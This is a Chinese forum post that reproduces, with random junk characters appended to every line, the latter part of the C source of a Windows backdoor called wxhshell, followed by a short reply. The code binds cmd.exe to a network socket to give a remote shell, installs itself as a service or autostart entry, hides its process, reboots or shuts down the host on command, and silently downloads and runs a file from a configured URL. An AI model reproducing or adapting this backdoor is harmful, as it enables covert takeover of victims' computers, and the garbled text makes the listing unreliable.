  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'S74Ys=-0  
  if(DownloadFile(cmd,wsh)) Nf* .r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CD#U`jf  
  else F@ pf._c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&{ _s  
  } ZvXw#0)v  
  else { 7)O+s/.P)  
p]~PyzG!  
    switch(cmd[0]) { Hsov0  
  KCbOO8cQS  
  // 帮助 ('uUf!h?\  
  case '?': { P! j*4t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]C+P J:CC  
    break; kuLur)^  
  } 2YQBw,gG  
  // 安装 5i{J0/'Xu)  
  case 'i': { sm[zE /2b  
    if(Install()) FncP,F$8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <o|k'Y(-  
    else "5$p=|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L`O7-'`  
    break; #/9Y}2G|]  
    } F3q<j$y  
  // 卸载 fpZHE=}r  
  case 'r': { Q9p7{^m&E  
    if(Uninstall()) {@x-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WHjJR   
    else sGiK S,.K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rK;<-RE<[:  
    break; RxPD44jVA  
    } Rm,>6bQx  
  // 显示 wxhshell 所在路径 ghkV^ [  
  case 'p': { h?ijZHG $  
    char svExeFile[MAX_PATH]; Je^ ;[^  
    strcpy(svExeFile,"\n\r"); is%ef  
      strcat(svExeFile,ExeFile); Xfb-< Q0A  
        send(wsh,svExeFile,strlen(svExeFile),0); i 8cmT+}>  
    break; 'tQp&p j  
    } e<A>??h^  
  // 重启 }43qpJe8U  
  case 'b': { vz:VegS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MR@Qn[RdM  
    if(Boot(REBOOT)) 0[uOKFgE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&kPcFX B  
    else { ^*y 1Fn0  
    closesocket(wsh); pfl^GgP#  
    ExitThread(0); XfIsf9  
    } #{k+^7aQ  
    break; ?mVSc/  
    } u]9 #d^%V  
  // 关机 NYxL7:9  
  case 'd': { 8U]mr+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nD 4C $  
    if(Boot(SHUTDOWN)) DV({! [EP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!w{ap8u  
    else { tk 5 p@l  
    closesocket(wsh); QR-pji y  
    ExitThread(0); ?vik2RW  
    } 5YI6$ZdQ  
    break; L"T :#>  
    } eAQ-r\h'2  
  // 获取shell Z)3oiLmD  
  case 's': { |hDN$By  
    CmdShell(wsh); 0x&L'&SpN  
    closesocket(wsh); x>4p6H{]0'  
    ExitThread(0); 3RlNEc%)  
    break; lF7".  
  } ]haQ#e}WH  
  // 退出 '['x'G50  
  case 'x': { g>b{hkIXg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Az?^4 1r8  
    CloseIt(wsh); o~xGE6A*"  
    break; d,'gh4C  
    } 4] u\5K-  
  // 离开 jQfnc:'  
  case 'q': { BoARM{m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 80gOh:  
    closesocket(wsh); yS?5&oMl  
    WSACleanup(); ET*:iioP  
    exit(1); u<Ch]m+  
    break; &I{5f-o*  
        } 6pQo_l}  
  } t="nmjQs  
  } OSJj^Y)W|  
NQOf\.#g  
  // 提示信息 j(pe6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Lo)T  
} h]Gvt 5  
  } PyQ\O*  
G ,`]2'(@  
  return; &g8Xjx&zj  
} 02:`Joy2D  
v(uNqX.BC  
// shell模块句柄 @y eAM7  
int CmdShell(SOCKET sock) \^'-=8<*>  
{ t`eIkq|NxI  
STARTUPINFO si; ! bwy/A  
ZeroMemory(&si,sizeof(si)); kexvE 3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %?/vC 6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L?Ih;  
PROCESS_INFORMATION ProcessInfo; V72?E%d0  
char cmdline[]="cmd"; 9D?JzTsyg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \z@ :OR,  
  return 0; Wrm3U/>e  
} :hf%6N='kI  
l['ER$(7  
// 自身启动模式 OSh'b$Z  
int StartFromService(void) v>j<ky   
{ 0@ vzQ$  
typedef struct !bX   
{ &pv* TL8  
  DWORD ExitStatus; \SJX;7 ST  
  DWORD PebBaseAddress; 3?+t%_[  
  DWORD AffinityMask; ( ~JtKSq%  
  DWORD BasePriority; Ty;^3  
  ULONG UniqueProcessId; kH[thR k}  
  ULONG InheritedFromUniqueProcessId; $P #KL//  
}   PROCESS_BASIC_INFORMATION; :o:/RRp[  
O /&Qzt  
PROCNTQSIP NtQueryInformationProcess; |uM=pm;H  
:prx:7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IFtaoK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9T2y2d!X  
x|Ms2.!  
  HANDLE             hProcess; 3CSwcD  
  PROCESS_BASIC_INFORMATION pbi; A(+V{1 L'  
Hm~.u.)\.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iQiXwEAi[  
  if(NULL == hInst ) return 0; ;hd%w mE  
+.u HY`A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  \5HVX/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (;N#Gqb6l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T.WN9= N  
\M Av's4b@  
  if (!NtQueryInformationProcess) return 0; {Q^ -  
I5Rd~-="G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6>b#nFVJ  
  if(!hProcess) return 0; sei%QE]!/  
[E9_ZdB T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cNy*< Tv  
{{ 1qk G9$  
  CloseHandle(hProcess); oRmA\R*  
GIS,EwA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rF/<}ye/4M  
if(hProcess==NULL) return 0; 1CUI6@Cz)  
AG G xx?I  
HMODULE hMod; W7\UZPs5t  
char procName[255]; *4Z! 5iOs  
unsigned long cbNeeded; )<5hga][~a  
~KxK+ 6[ :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9G[t &r  
;_/!F}d  
  CloseHandle(hProcess); $WQm"WAKe  
HoZsDs.XZ  
if(strstr(procName,"services")) return 1; // 以服务启动 x*:"G'zT  
3_J({  
  return 0; // 注册表启动 <.lt?!.ZH  
} :4Y 5  
R{9G$b1Due  
// 主模块 ?:7$c  
int StartWxhshell(LPSTR lpCmdLine) rFW,x_*_vP  
{ Ma ]*Pled  
  SOCKET wsl; YgQb(umK  
BOOL val=TRUE; y@ c[S;  
  int port=0; {@tO9pc`8  
  struct sockaddr_in door; t+Qx-sW  
 qt. =  
  if(wscfg.ws_autoins) Install(); J(,{ -d-E  
a0`(* #P  
port=atoi(lpCmdLine); Z3dI B`@  
H_u%e*W  
if(port<=0) port=wscfg.ws_port; YizwKcuZ  
T7(U6yN  
  WSADATA data; jGDuKb@:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PJ)d5D%T  
%^iBTfq2hc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aM\Ph&c7e'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _u#r;h[  
  door.sin_family = AF_INET; 5^N` ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WG&WPV/p  
  door.sin_port = htons(port); u)Vn7zh  
?+byRoY>&g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NLev(B:OQH  
closesocket(wsl); t2FA|UF  
return 1; R]d934s  
} jZ,=tF  
<07~EP  
  if(listen(wsl,2) == INVALID_SOCKET) { fTi5Ej*/?)  
closesocket(wsl); }x"8v&3CM_  
return 1; ZP<OyX?  
} S6{y%K2y&  
  Wxhshell(wsl); )kE1g&  
  WSACleanup(); Bdib)t[  
~[0^{$rrWs  
return 0; f3mQd}<L  
io7Zv*&T0  
} YcM 0A~<  
m3`J9f,c/  
// 以NT服务方式启动 9#\oGzDN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) + ;B K|([#  
{ F^cu!-L  
DWORD   status = 0; 41i#w;ojI  
  DWORD   specificError = 0xfffffff; z[]8"C=  
8 HD I]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^B(:Hv}G(:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z07SK ' U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cXt]55"  
  serviceStatus.dwWin32ExitCode     = 0; ezhK[/E=  
  serviceStatus.dwServiceSpecificExitCode = 0; }t1J`+x%  
  serviceStatus.dwCheckPoint       = 0; Qt=OiKZ  
  serviceStatus.dwWaitHint       = 0; W'Y#(N[ktP  
9gETWz(3I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A3Vj3em  
  if (hServiceStatusHandle==0) return; ^{64b  
JzkI!5c<j  
status = GetLastError(); nO8e'&|  
  if (status!=NO_ERROR) @[O|n)7  
{ P2 z~U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `M ~-(,++  
    serviceStatus.dwCheckPoint       = 0; 9Hs5uBe  
    serviceStatus.dwWaitHint       = 0; 2Jt*s$  
    serviceStatus.dwWin32ExitCode     = status; F2',3  
    serviceStatus.dwServiceSpecificExitCode = specificError; %5<Xa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y+M9{[ i/O  
    return; @zig{b8  
  } >8gb/?z  
E<tJ8&IGk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bDV/$@p  
  serviceStatus.dwCheckPoint       = 0; gnw?Y 2  
  serviceStatus.dwWaitHint       = 0; dK7BjZTJo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @5cY5e*i{  
} fh9w5hT={  
dz )(~@tgz  
// 处理NT服务事件,比如:启动、停止 #$ ,b )Uy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =m?x5G^  
{ 9*? i89T  
switch(fdwControl) CD)JCv  
{ xDn#=%~+x  
case SERVICE_CONTROL_STOP: le~p2l#e   
  serviceStatus.dwWin32ExitCode = 0; 17!<8vIV$C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ")3$. '5Dg  
  serviceStatus.dwCheckPoint   = 0; l  !JTM  
  serviceStatus.dwWaitHint     = 0; )8V=!73  
  { G4J)o?:m@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uVzvUz{b  
  } 2E@y0[C?  
  return; -~^sSLrbP  
case SERVICE_CONTROL_PAUSE: g<Y N#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jmun^Q/h  
  break; MJy(B><  
case SERVICE_CONTROL_CONTINUE: d{(NeTs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LDj*~\vsq  
  break; BSyS DM  
case SERVICE_CONTROL_INTERROGATE: }} zY]A  
  break; luCwP  
}; B[ r04YGh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); azl!#%  
} vm8ER,IW)  
C]ef `5NR]  
// 标准应用程序主函数 ??,/85lM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VB}^&{t)!  
{ `4a9<bG  
v}Kj+9h  
// 获取操作系统版本 dg@'5.ApPu  
OsIsNt=GetOsVer(); Ypx"<CKP}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4.q^r]m*  
*+j r? |  
  // 从命令行安装 MD[;Ha  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;AJ6I*O@+  
 x]~&4fp  
  // 下载执行文件 =v=u+nO  
if(wscfg.ws_downexe) { U,Z7n H3_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p4z thdN[  
  WinExec(wscfg.ws_filenam,SW_HIDE); D[3QQT7c  
} &Yd6w}8  
S X[  
if(!OsIsNt) { r)[Xzn   
// 如果时win9x,隐藏进程并且设置为注册表启动 Uh3N#O  
HideProc(); 6-f-/$B  
StartWxhshell(lpCmdLine); ,7SqR Y,+  
} :rEZR`  
else #E4|@}30`  
  if(StartFromService()) PgYIQpV  
  // 以服务方式启动 &|fWtl;43  
  StartServiceCtrlDispatcher(DispatchTable); 'oF('uR  
else *)s^+F 0  
  // 普通方式启动 b$>1_wTL  
  StartWxhshell(lpCmdLine); Lm'+z97  
oh,29Gg  
return 0; FA}y"I'W  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八